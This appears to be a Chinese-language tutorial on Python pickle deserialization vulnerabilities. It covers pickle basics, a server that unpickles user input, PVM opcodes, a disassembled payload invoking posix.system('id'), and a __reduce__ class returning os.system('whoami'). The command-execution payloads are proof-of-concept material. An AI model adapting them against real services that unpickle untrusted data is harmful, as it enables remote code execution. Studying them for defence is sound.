python的反序列化和其他语言的类似功能类似,都是将对象数据转化为字节流方便存储与流转,使用时在将其转化回对原始对象的过程

python中的反序列化一般有两种方式:pickle模块与json模块,前者为python特有格式,后者使用通用json格式

python反序列化漏洞主涉及以下几个概念pickle,pvm,__redurce__ ,魔术方法

pickle

pickle是python的内置的反序列化模块,核心功能是将python对象转化为字节流(序列化),以及将字节流还原为对象(反序列化)

简单演示:

import base64
import pickle

data = {
    "name":"123123",
    "age":30
}

datapic = pickle.dumps(data)

print(base64.b64encode(datapic))

服务端

import base64
import pickle
data = input("Enter payload: ").encode()
obj = pickle.loads(base64.b64decode(data))
print(obj)
Enter payload: gASVHQAAAAAAAAB9lCiMBG5hbWWUjAYxMjMxMjOUjANhZ2WUSx51Lg==
{'name': '123123', 'age': 30}

pickle可以用于绝大多数python对象,他的操作方法有如下四种

  • dump 对象序列化到文件对象并存入文件
  • dumps 对象序列为字节流
  • load 对象反序列化,从文件读取数据
  • loads 对象反序列化,从字节流读取数据

PVM

python虚拟机的简写,先前序列化出来的内容其实就是pvm的操作内容

PVM结构

pvm所处理的数据是是一个二进制字节流,由协议头、操作码、数据段、和状态控制符组成

\x80\x04\x95\x1d\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x02id\x94\x85\x94R\x94.

通过pickletools可以将其分解可读的操作码

import pickletools
payload = b'\x80\x04\x95\x1d\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x02id\x94\x85\x94R\x94.'
# 查看 PVM 指令分解
pickletools.dis(payload)
    0: \x80 PROTO      4
    2: \x95 FRAME      29
   11: \x8c SHORT_BINUNICODE 'posix'
   18: \x94 MEMOIZE    (as 0)
   19: \x8c SHORT_BINUNICODE 'system'
   27: \x94 MEMOIZE    (as 1)
   28: \x93 STACK_GLOBAL
   29: \x94 MEMOIZE    (as 2)
   30: \x8c SHORT_BINUNICODE 'id'
   34: \x94 MEMOIZE    (as 3)
   35: \x85 TUPLE1
   36: \x94 MEMOIZE    (as 4)
   37: R    REDUCE
   38: \x94 MEMOIZE    (as 5)
   39: .    STOP
  • 协议头 标识使用的pickle协议版本一般使用

    • 格式

      协议0:无显式标头

      协议1-5 :以 \x80 开头,后跟协议版本号(如协议4为 \x80\x04

    • 操作码

      操作码(Hex) 指令名 功能描述
      \x80 PROTO 声明协议版本
      \x95 FRAME 定义数据帧边界(协议4+)
      \x8c SHORT_BINUNICODE 加载短长度字符串(≤255字节)
      \x93 STACK_GLOBAL 组合模块名和函数名(如 os.system
      \x85 TUPLE1 构建1个元素的元组
      \x52 REDUCE 调用可调用对象(触发 __reduce__ 方法)
      \x94 MEMOIZE 缓存当前对象到备忘录(优化重复数据存储)
  • 基于栈的执行模型

    • 操作逻辑

      pvm是一个栈式的虚拟机所有操作通过压栈(PUSH)、弹栈(POP)完成

      # 执行流程模拟(对应上述 payload)
      1. 压入 "os"  栈: ["os"]
      2. 压入 "system"  栈: ["os", "system"]
      3. STACK_GLOBAL  组合为 `os.system`  栈: [os.system]
      4. 压入 "id"  栈: [os.system, "id"]
      5. TUPLE1  构建元组  栈: [os.system, ("id",)]
      6. REDUCE  调用 os.system("id")  执行命令
      

上面提到了存在多个版本,我们在序列化时候可以使用protocol=num选择版本

import os
import pickle

class Demo():
    def __init__(self, name='h3rmesk1t'):
        self.name = name
    
    def __reduce__(self):
        return (os.system, ('whoami',))


demo = Demo()
for i in range(6):
    print('[+] pickle v{}: {}'.format(str(i), pickle.dumps(demo, protocol=i)))

漏洞触发

漏洞的触发关键在于__reduce__()函数,这个函数类似于php中的__wakeup()方法,在python中反序列化开始会先调用__reduce__()魔术方法